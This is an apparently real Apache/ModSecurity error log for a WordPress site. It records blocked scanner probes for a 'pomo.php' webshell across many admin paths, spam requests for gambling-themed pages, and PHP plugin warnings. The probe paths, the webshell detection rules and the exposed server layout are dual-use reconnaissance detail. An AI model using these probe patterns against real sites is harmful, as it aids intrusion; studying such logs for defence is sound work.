[Sun Apr 12 12:08:32.255781 2026] [:error] [pid 25328:tid 25380] [client 20.220.11.224:26559] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pomo.php"] [unique_id "adsawMxUaQZxT-e0YsCA4AAAAEw"]
[Sun Apr 12 12:08:37.533909 2026] [:error] [pid 26567:tid 26578] [client 20.220.11.224:26611] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pomo.php"] [unique_id "adsaxXhRpg6ptWFyFx1dZAAAAQk"]
[Sun Apr 12 12:08:38.858655 2026] [:error] [pid 25328:tid 25367] [client 20.220.11.224:26516] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/pomo.php"] [unique_id "adsaxsxUaQZxT-e0YsCBBAAAAEM"]
[Sun Apr 12 12:08:40.444802 2026] [:error] [pid 25328:tid 25387] [client 20.220.11.224:26608] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/pomo.php"] [unique_id "adsayMxUaQZxT-e0YsCBDQAAAE8"]
[Sun Apr 12 12:09:00.207356 2026] [:error] [pid 25327:tid 25343] [client 20.220.11.224:26434] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/pomo.php"] [unique_id "adsa3C6h2tZEVJo9JFKTnQAAAAc"]
[Sun Apr 12 12:09:26.553742 2026] [:error] [pid 25327:tid 25355] [client 20.220.11.224:26586] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/pomo.php"] [unique_id "adsa9i6h2tZEVJo9JFKTuQAAABM"]
[Sun Apr 12 12:09:48.463761 2026] [:error] [pid 60280:tid 60291] [client 20.220.11.224:26593] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/pomo.php"] [unique_id "adsbDHBlLnDOYuIykkihzwAAAck"]
[Sun Apr 12 12:09:50.996706 2026] [:error] [pid 26600:tid 26646] [client 20.220.11.224:26603] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/pomo.php"] [unique_id "adsbDu1YwAZiXhQKLYrYRAAAAZE"]
[Sun Apr 12 12:09:53.471681 2026] [:error] [pid 25328:tid 25365] [client 20.220.11.224:26549] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/pomo.php"] [unique_id "adsbEcxUaQZxT-e0YsCBdgAAAEE"]
[Sun Apr 12 12:10:02.232614 2026] [:error] [pid 26600:tid 26641] [client 20.220.11.224:26496] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/pomo.php"] [unique_id "adsbGu1YwAZiXhQKLYrYUwAAAYw"]
[Sun Apr 12 12:10:05.434048 2026] [:error] [pid 60280:tid 60293] [client 20.220.11.224:26564] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/pomo.php"] [unique_id "adsbHXBlLnDOYuIykkih6wAAAcs"]
[Sun Apr 12 12:10:13.787112 2026] [:error] [pid 25328:tid 25391] [client 20.220.11.224:26619] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/pomo.php"] [unique_id "adsbJcxUaQZxT-e0YsCBtgAAAFE"]
[Sun Apr 12 12:10:45.628571 2026] [:error] [pid 26600:tid 26652] [client 20.220.11.224:26607] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/pomo.php"] [unique_id "adsbRe1YwAZiXhQKLYrYawAAAZc"]
[Sun Apr 12 12:10:51.580691 2026] [:error] [pid 25437:tid 25455] [client 20.220.11.224:26620] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/themes/pomo.php"] [unique_id "adsbS3f97wYZje1ep_PHMwAAANA"]
[Sun Apr 12 12:10:59.400517 2026] [:error] [pid 60280:tid 60303] [client 20.220.11.224:26524] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/themes/pomo.php"] [unique_id "adsbU3BlLnDOYuIykkiilgAAAdU"]
[Sun Apr 12 12:11:08.738081 2026] [:error] [pid 25437:tid 25442] [client 20.220.11.224:26497] [client 20.220.11.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/pomo.php"] [unique_id "adsbXHf97wYZje1ep_PHRgAAAMM"]
[Sun Apr 12 12:12:10.764728 2026] [:error] [pid 25437:tid 25441] [client 43.130.139.177:48082] [client 43.130.139.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adsbmnf97wYZje1ep_PHiAAAAMI"]
[Sun Apr 12 12:32:11.068065 2026] [proxy_fcgi:error] [pid 25327:tid 25354] [client 103.4.122.14:55758] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Sun Apr 12 12:32:28.789270 2026] [proxy_fcgi:error] [pid 26567:tid 26587] [client 103.4.122.14:55814] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Attempt to read property "version" on false in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Sun Apr 12 13:37:46.368870 2026] [:error] [pid 26600:tid 26653] [client 74.7.229.55:50810] [client 74.7.229.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.229.55, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adsvqu1YwAZiXhQKLYrq4QAAAZg"], referer: https://vetstars.com.au/
[Sun Apr 12 14:13:07.105512 2026] [autoindex:error] [pid 25437:tid 25451] [client 143.110.240.70:60538] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Apr 12 19:54:46.146526 2026] [:error] [pid 60280:tid 60287] [client 54.37.252.231:42066] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aduIBnBlLnDOYuIykkijQwAAAcU"]
[Sun Apr 12 19:54:48.428125 2026] [:error] [pid 25328:tid 25394] [client 54.37.252.231:39376] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aduICMxUaQZxT-e0YsA6jQAAAFI"]
[Sun Apr 12 19:54:50.936248 2026] [:error] [pid 25437:tid 25446] [client 54.37.252.231:39382] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aduICnf97wYZje1ep_NVfQAAAMc"]
[Sun Apr 12 19:54:53.297778 2026] [:error] [pid 60280:tid 60288] [client 54.37.252.231:39386] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aduIDXBlLnDOYuIykkijYwAAAcY"]
[Sun Apr 12 19:54:55.664353 2026] [:error] [pid 25327:tid 25357] [client 54.37.252.231:58392] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aduIDy6h2tZEVJo9JFLeowAAABU"]
[Sun Apr 12 19:54:58.176835 2026] [:error] [pid 25327:tid 25346] [client 54.37.252.231:58404] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aduIEi6h2tZEVJo9JFLepQAAAAo"]
[Sun Apr 12 19:55:00.567223 2026] [:error] [pid 26599:tid 26609] [client 54.37.252.231:58406] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aduIFHG89LXoQbk_rwDUbgAAAUc"]
[Sun Apr 12 19:55:03.078607 2026] [:error] [pid 25437:tid 25440] [client 54.37.252.231:58416] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aduIF3f97wYZje1ep_NVmAAAAME"]
[Sun Apr 12 19:55:05.485899 2026] [:error] [pid 25437:tid 25440] [client 54.37.252.231:43102] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aduIGXf97wYZje1ep_NVogAAAME"]
[Sun Apr 12 19:55:07.984566 2026] [:error] [pid 26600:tid 26630] [client 54.37.252.231:43110] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aduIG-1YwAZiXhQKLYpE9AAAAYE"]
[Sun Apr 12 19:55:10.485388 2026] [:error] [pid 26600:tid 26645] [client 54.37.252.231:43116] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aduIHu1YwAZiXhQKLYpE9gAAAZA"]
[Sun Apr 12 19:55:15.262898 2026] [:error] [pid 26567:tid 26592] [client 54.37.252.231:42898] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aduII3hRpg6ptWFyFx23ygAAARc"]
[Sun Apr 12 19:55:17.787232 2026] [:error] [pid 60280:tid 60289] [client 54.37.252.231:42908] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aduIJXBlLnDOYuIykkijhwAAAcc"]
[Sun Apr 12 19:55:20.138783 2026] [:error] [pid 60280:tid 60305] [client 54.37.252.231:42918] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aduIKHBlLnDOYuIykkijlQAAAdc"]
[Sun Apr 12 19:55:22.669186 2026] [:error] [pid 25437:tid 25452] [client 54.37.252.231:42926] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aduIKnf97wYZje1ep_NVqQAAAM0"]
[Sun Apr 12 19:55:24.994663 2026] [:error] [pid 25327:tid 25345] [client 54.37.252.231:54244] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aduILC6h2tZEVJo9JFLergAAAAk"]
[Sun Apr 12 19:55:27.533060 2026] [:error] [pid 60280:tid 60298] [client 54.37.252.231:54260] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aduIL3BlLnDOYuIykkijogAAAdA"]
[Sun Apr 12 19:55:29.896754 2026] [:error] [pid 60280:tid 60305] [client 54.37.252.231:54272] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aduIMXBlLnDOYuIykkijqwAAAdc"]
[Sun Apr 12 19:55:32.420112 2026] [:error] [pid 60280:tid 60290] [client 54.37.252.231:54282] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aduINHBlLnDOYuIykkijvQAAAcg"]
[Sun Apr 12 19:55:34.962863 2026] [:error] [pid 60280:tid 60297] [client 54.37.252.231:40956] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aduINnBlLnDOYuIykkijzgAAAc8"]
[Sun Apr 12 19:55:37.501905 2026] [:error] [pid 26600:tid 26640] [client 54.37.252.231:40966] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aduIOe1YwAZiXhQKLYpFGwAAAYs"]
[Sun Apr 12 19:55:40.003475 2026] [:error] [pid 26600:tid 26632] [client 54.37.252.231:40972] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aduIPO1YwAZiXhQKLYpFHAAAAYM"]
[Sun Apr 12 20:31:48.687301 2026] [:error] [pid 60280:tid 60293] [client 95.129.101.144:35572] [client 95.129.101.144] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".com"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/privacy-policy/Vetstars2565@gmail.com"] [unique_id "aduQtHBlLnDOYuIykki5RQAAAcs"]
[Sun Apr 12 22:24:59.404604 2026] [:error] [pid 25328:tid 25375] [client 51.75.119.229:43480] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "adurO8xUaQZxT-e0YsBz9QAAAEk"]
[Sun Apr 12 22:25:02.214067 2026] [:error] [pid 60280:tid 60291] [client 51.75.119.229:45564] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adurPnBlLnDOYuIykkj17wAAAck"]
[Sun Apr 12 22:25:05.149129 2026] [:error] [pid 60280:tid 60301] [client 51.75.119.229:45398] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "adurQXBlLnDOYuIykkj1_QAAAdM"]
[Sun Apr 12 22:25:08.132206 2026] [:error] [pid 25437:tid 25440] [client 51.75.119.229:45402] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "adurRHf97wYZje1ep_OCqQAAAME"]
[Sun Apr 12 22:25:10.854091 2026] [:error] [pid 25328:tid 25380] [client 51.75.119.229:45410] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adurRsxUaQZxT-e0YsB0BQAAAEw"]
[Sun Apr 12 22:25:13.613536 2026] [:error] [pid 26599:tid 26612] [client 51.75.119.229:45412] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adurSXG89LXoQbk_rwDqiQAAAUo"]
[Sun Apr 12 22:25:16.423008 2026] [:error] [pid 60280:tid 60303] [client 51.75.119.229:40502] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "adurTHBlLnDOYuIykkj2FQAAAdU"]
[Sun Apr 12 22:25:18.968620 2026] [:error] [pid 60280:tid 60283] [client 51.75.119.229:40516] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "adurTnBlLnDOYuIykkj2IQAAAcE"]
